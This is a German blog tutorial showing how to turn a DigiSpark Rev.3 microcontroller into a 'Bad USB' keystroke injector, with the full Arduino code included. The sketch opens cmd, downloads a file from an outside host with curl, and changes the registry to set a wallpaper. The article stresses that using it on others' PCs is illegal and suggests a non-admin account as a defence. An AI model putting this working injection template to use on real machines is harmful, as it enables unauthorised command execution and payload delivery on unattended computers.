Kleine Mikrocontroller, wie der Arduino Nano oder halt eben der in diesem Artikel behandelte DigiSpark Rev. 3 können nützliche Werkzeuge bei der Erledigung kleinerer Aufgaben sein. Unter diesen Aufgaben fällt beispielsweise das automatische Bewässerung von Pflanzen oder das Abgreifen und Senden von Sensordaten. In vielen vorgefertigten Geräten sind ähnliche Mikrocontroller verbaut. Ganz kann man diese verbaut Mikrocontroller zwar nicht vergleichen, allerdings verwenden Hersteller wie Velux entsprechende günstige und kleine Mikrocontroller, um beispielsweise Fenster automatisch zu schließen sollte es einmal regnen.
In diesem Artikel soll es allerdings nicht unbedingt um nützliche Einsatzfälle von Mikrocontroller gehen, sondern eher um das genaue Gegenteil. Wir wollen einen Bad USB erstellen, mit dem wir angeschlossen an einen PC, ungewünschte Tastatureingaben tätigen können. Somit wäre theoretisch das Ausführen von Schadcode oder halt eben das automatisierte Installieren von Viren möglich.
Selbstverständlich ist das anschließen von einem Bad USB an einen fremden PC nicht legal und ich möchte auch gerne darauf hinweisen, dass diese Artikel mehr der Illustrationen und Sensibilisierung gegenüber Bad USB Sticks dienen soll. Für eine eben solche Illustration werden wir einen Mikrocontroller so programmieren, dass er beispielsweise an einen Windows PC angeschlossen automatisch ein neues Bild aus dem Internet herunterlädt und als Hintergrundbild des Desktops einstellt. Wieder möchte ich gerne darauf hinweisen, dass selbst dieser kleinen Witz schon strafbar sein kann.
Was ist ein Bad USB?
Um die anfänglichen Begrifflichkeiten zu klären, sollten wir uns erst einmal überlegen was der Begriff Bad USB eigentlich bedeutet.
Unter einem Bad USB versteht man im generellen ein modifiziertes Gerät welches über einen USB Anschluss an den Computer angeschlossen wird und Funktionen erfüllt, die nicht erwünscht sind. Dabei kann es sich um mehrerlei Dinge handeln, die man auf keinen Fall haben möchte. Beispielsweise könnte so ein Bad USB im Hintergrund Tastatureingaben ausführen und damit in sekundenschnelle ungewollt Dinge auf dem Computer ändern. Ein solcher Bad USB zeichnet sich dadurch aus, dass er wie ein USB Stick aussieht und sich dem Betriebssystem als Tastatur vorstellt. Innerhalb von wenigen Sekunden hat diese jedoch nur eines im Sinn: Befehle in die Tasten hauen, die dem Angreifer Tür und Tor auf dem befallenen Gerät öffnet. Eine zweite Ausprägung wäre das Installieren von Schadcode im Hintergrund, ohne dass Tastatureingaben getätigt werden müssen. Darüber hinaus gibt es sogar noch präparierte USB Sticks, die den kompletten PC zerstören können, in dem sie eine Überspannung am USB-Port anlegen. Der PC wird im schlimmsten Fall gnadenlos "geröstet".
Warum ein Mikrocontroller als Bad USB?
In der Theorie könnte man jeden x-beliebigen USB Stick dazu verwenden einen Bad USB zu erstellen. Allerdings muss man erwähnen, dass bei normalen USB Sticks eine Veränderung der Firmware nötig wäre. Dies ist nicht unbedingt trivial und kostet viel Zeit und Mühen.
Mit einem Mikrocontroller können wir selbige Funktionalität viel einfacher durchführen. Außerdem gibt uns ein Mikrocontroller, durch seine eigene Rechenleistung, die Möglichkeit Code auf dem USB Gerät selber auszuführen. Dadurch sind wir nicht darauf angewiesen, dass die Firmware auf dem zu infizierenden Gerät ausgeführt wird sondern können unabhängig davon bspw. Tastatureingaben tätigen und Prüfungen durchführen.
Einen DigiSpark Rev.3 Bad USB erstellen
Gehen wir ans Eingemachte. Für die Erstellung eines Bad USB benötigt ihr als Erstes einen DigiSpark Rev.3. Dieser kostet beispielsweise bei Amazon zwischen 2-5€. Je nachdem welchen Händler ihr findet und wie viele ihr auf einmal bestellt.
Anschließend müssen wir die Arudino IDE mit mindestens der Version 1.6.6 und die DigiSpark Windows Treiber installieren. Einen Download findet ihr hier und hier.
Eine detailierte Installationsanleitung erhaltet ihr hier: http://digistump.com/wiki/digispark/tutorials/connecting
Nach der Installation müssen wir der Arduino IDE "beibringen" mit dem DigiSpark kommunizieren zu können. Hierfür klicken wir auf: Datei -> Voreinstellungen und fügen folgendes unter dem Punkt "Zusätzliche Boardverwalter-URLs:" hinzu:
http://digistump.com/package_digistump_index.json
Anschließend klicken wir im Menü auf: Werkzeuge -> "Board: XXX" -> Boardverwalter und suchen dort nach "Digistump AVR". Das Suchergebnis müssen wir installieren.
Nach der Installation können wir unser Board auswählen: Werkzeuge -> "Board: XXX" -> Digistump AVR Boards -> DigiStump (Default - 16.5 MHz)
Bevor wir nun mit der Programmierung beginnen können ist noch die zusätzliche Installation einer Library nötig, die unseren DigiSpark in Zukunft als Tastatur ausgibt und Tastatureingaben an den angeschlossenen Rechner weitergibt. Hierzu müssen wir zwei Dinge tun. Erstens muss die eigentliche Library heruntergeladen werden. Im Anschluss ist ein deutsches Tastaturlayout zu programmieren.
Zur Installation klicken wir auf Werkzeuge -> "Bibliotheken verwalten..." und geben dann in die Suche DigisparkKeyboard ein. Installiert werden muss "DigiKeyboardFr".
Ist dies erledigt müssen wir in den selben Ordner in dem auch euer Arduino Projekt (sketchXXX.ino) liegt eine Datei ablegen die das Mapping auf das deutsche Tastaturlayout übernimmt. Diese nennen wir "DigiKeyboardDe.h" und besitzt den Inhalt:
#include "DigiKeyboard.h"
#ifndef DIGIKEYBOARDDE_H
#define DIGIKEYBOARDDE_H
#define DE_MOD_CONTROL_LEFT (1<<8)
#define DE_MOD_SHIFT_LEFT (1<<9)
#define DE_MOD_ALT_LEFT (1<<10)
#define DE_MOD_GUI_LEFT (1<<11)
#define DE_MOD_CONTROL_RIGHT (1<<12)
#define DE_MOD_SHIFT_RIGHT (1<<13)
#define DE_MOD_ALT_RIGHT (1<<14)
#define DE_MOD_GUI_RIGHT (1<<15)
const uint16_t _ascii_de_map[128] PROGMEM =
{
0x00, // NUL
0x00, // SOH
0x00, // STX
0x00, // ETX
0x00, // EOT
0x00, // ENQ
0x00, // ACK
0x00, // BEL
0x2a, // BS Backspace
0x2b, // TAB Tab
0x28, // LF Enter
0x00, // VT
0x00, // FF
0x00, // CR
0x00, // SO
0x00, // SI
0x00, // DEL
0x00, // DC1
0x00, // DC2
0x00, // DC3
0x00, // DC4
0x00, // NAK
0x00, // SYN
0x00, // ETB
0x00, // CAN
0x00, // EM
0x00, // SUB
0x00, // ESC
0x00, // FS
0x00, // GS
0x00, // RS
0x00, // US
0x2c, // ' '
0x1e|DE_MOD_SHIFT_LEFT, // !
0x1F|DE_MOD_SHIFT_LEFT, // "
0x38, // #
0x21|DE_MOD_SHIFT_LEFT, // $
0x22|DE_MOD_SHIFT_LEFT, // %
0x23|DE_MOD_SHIFT_LEFT, // &
0x32|DE_MOD_SHIFT_LEFT, // '
0x25|DE_MOD_SHIFT_LEFT, // (
0x26|DE_MOD_SHIFT_LEFT, // )
0x30|DE_MOD_SHIFT_LEFT, // *
0x30, // +
0x36, // ,
0x38, // -
0x37, // .
0x24|DE_MOD_SHIFT_LEFT, // /
0x27, // 0
0x1e, // 1
0x1f, // 2
0x20, // 3
0x21, // 4
0x22, // 5
0x23, // 6
0x24, // 7
0x25, // 8
0x26, // 9
0x37|DE_MOD_SHIFT_LEFT, // :
0x36|DE_MOD_SHIFT_LEFT, // ;
0x64, // <
0x27|DE_MOD_SHIFT_LEFT, // =
0x64|DE_MOD_SHIFT_LEFT, // >
0x2D|DE_MOD_SHIFT_LEFT, // ?
0x14|DE_MOD_ALT_RIGHT, // @ 0x40 0x14
0x04|DE_MOD_SHIFT_LEFT, // A
0x05|DE_MOD_SHIFT_LEFT, // B
0x06|DE_MOD_SHIFT_LEFT, // C
0x07|DE_MOD_SHIFT_LEFT, // D
0x08|DE_MOD_SHIFT_LEFT, // E
0x09|DE_MOD_SHIFT_LEFT, // F
0x0a|DE_MOD_SHIFT_LEFT, // G
0x0b|DE_MOD_SHIFT_LEFT, // H
0x0c|DE_MOD_SHIFT_LEFT, // I
0x0d|DE_MOD_SHIFT_LEFT, // J
0x0e|DE_MOD_SHIFT_LEFT, // K
0x0f|DE_MOD_SHIFT_LEFT, // L
0x10|DE_MOD_SHIFT_LEFT, // M
0x11|DE_MOD_SHIFT_LEFT, // N
0x12|DE_MOD_SHIFT_LEFT, // O
0x13|DE_MOD_SHIFT_LEFT, // P
0x14|DE_MOD_SHIFT_LEFT, // Q
0x15|DE_MOD_SHIFT_LEFT, // R
0x16|DE_MOD_SHIFT_LEFT, // S
0x17|DE_MOD_SHIFT_LEFT, // T
0x18|DE_MOD_SHIFT_LEFT, // U
0x19|DE_MOD_SHIFT_LEFT, // V
0x1a|DE_MOD_SHIFT_LEFT, // W
0x1b|DE_MOD_SHIFT_LEFT, // X
0x1d|DE_MOD_SHIFT_LEFT, // Y
0x1c|DE_MOD_SHIFT_LEFT, // Z
0x25|DE_MOD_ALT_RIGHT, // [
0x2d|DE_MOD_ALT_RIGHT, // bslash
0x26|DE_MOD_ALT_RIGHT, // ]
0x35, // ^
0x38|DE_MOD_SHIFT_LEFT, // _
0x2E|DE_MOD_SHIFT_LEFT, // `
0x04, // a
0x05, // b
0x06, // c
0x07, // d
0x08, // e
0x09, // f
0x0a, // g
0x0b, // h
0x0c, // i
0x0d, // j
0x0e, // k
0x0f, // l
0x10, // m
0x11, // n
0x12, // o
0x13, // p
0x14, // q
0x15, // r
0x16, // s
0x17, // t
0x18, // u
0x19, // v
0x1a, // w
0x1b, // x
0x1d, // y
0x1c, // z
0x24|DE_MOD_ALT_RIGHT, // {
0x64|DE_MOD_ALT_RIGHT, // |
0x27|DE_MOD_ALT_RIGHT, // }
0x30|DE_MOD_ALT_RIGHT, // ~
0 // DEL
};
class DigiKeyboardDeviceDe : public DigiKeyboardDevice{
public:
size_t write(uint8_t chr) {
unsigned int temp = pgm_read_word_near(_ascii_de_map + chr);
unsigned char low = temp & 0xFF;
unsigned char high = (temp >> 8) & 0xFF;
sendKeyStroke(low,high);
return 1;
}
void sendKeyReport(uchar *array,const unsigned int size){
while (!usbInterruptIsReady()) {
// Note: We wait until we can send keyPress
// so we know the previous keyPress was
// sent.
usbPoll();
_delay_ms(5);
}
usbSetInterrupt(array, size);
}
};
DigiKeyboardDeviceDe DigiKeyboardDe = DigiKeyboardDeviceDe();
#endif //DIGIKEYBOARDDE_H
Zum Schluss gibt es noch den eigentlichen Code zum Senden der Tastaturbefehle:
#include "DigiKeyboardDe.h"
void setup() {
DigiKeyboardDe.delay(3000);
DigiKeyboardDe.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboardDe.delay(200);
DigiKeyboardDe.println("cmd");
DigiKeyboardDe.delay(500);
DigiKeyboardDe.println("curl https://staticfloat.de/content/img_3272-jpg-1599395440.jpg -O");
DigiKeyboardDe.delay(1500);
DigiKeyboardDe.println("reg add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v Wallpaper /t REG_SZ /d %userprofile%\\img_3272-jpg-1599395440.jpg /f");
DigiKeyboardDe.delay(1000);
DigiKeyboardDe.println("RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters");
DigiKeyboardDe.delay(1000);
DigiKeyboardDe.println("exit");
}
void loop(){ }
Klickt in der Arduino IDE nun auf "Upload" oder "Hochladen" und schließt den DigiSpark erneut an den PC an. Nach wenigen Sekunden sollte die Arduino IDE eine erfolgreiche Installation des Codes auf dem Mikrocontroller vermelden.
Solltet ihr alles richtig gemacht haben, so wird beim Einstecken des USB Sticks an einem Rechner das Terminal geöffnet, ein Hintergrundbild wird heruntergeladen und eingerichtet. Ich selber hatte anfangs ein paar Probleme mit der Einrichtung, solltet ihr also ebenfalls auf Probleme stoßen, so schreib mir gerne in den Kommentaren. Als kleinen Tipp am Rande: Bei mir funktionierte das Ganze nicht über einen USB Hub. Der Stick musste direkt an den Rechner angeschlossen werden.
Sicherheitsrisiko - Bad USB
Wie bereits am Anfang des Artikels angesprochen existieren verschiedenste Varianten von Bad USB Sticks. Der in diesem Artikel angesprochene Typ von Bad USB Stick ermöglicht es uns in Windeseile Befehle auszuführen, die wir von Hand in dieser Zeit niemals hätten schreiben können. Diese Automation und Geschwindigkeit ermöglicht es uns eventuelle Sicherheitslücken schnell ausnutzen zu können. Beispielsweise wenn der Kollege seinen Rechner nicht gesperrt hat und nur für 10 Sekunden auf dem Flur steht. Allerdings muss auch dazu gesagt sein dass diese Art von Bad USB Stick an seine Grenzen stößt, sobald auch nur ein einziges Passwort eingegeben werden muss, welches wir in der Regel nicht kennen.
Leider gibt es da noch ein größeres Problem bei Rechnern die mit dem Betriebssystem Windows ausgeliefert werden. Sollte man als Nutzer auch gleichzeitig Administrator des Rechner sein, so wird bei kritischen Aktionen zwar ein Bestätigungsfeld angezeigt, allerdings kann man dieses mit einer einfachen Entereingabe überspringen. macOS und Linux sind dort deutlich besser geschützt, da entweder das Bestätigen-Feld nicht per einfacher Tastatureingabe erreicht werden kann oder aber ein Passwort abgefragt wird. Wer sich nichtsdestotrotz unter Windows vor solchen Angriffen schützen möchte, dem empfehle ich einen zusätzlichen Administratorenaccount auf dem Windows Gerät einzurichten und sich standardgemäß nur über eine Nutzer ohne Administratorenrechte einzuloggen. Durch diesen Kniff wird wieder die Eingabe eines Passworts nötig.
Natürlich ist das kein Schutz vor Bad USB's, aber zumindest ein Schritt in die richtige Richtung.
Problembehandlung
Wer Probleme mit der Installation der Treiber hat und seinen DigiSpark nicht in der Arduino IDE zu Gesicht bekommt, dem lege ich dieses YouTube Video ans Herz: https://www.youtube.com/watch?v=MmDBvgrYGZs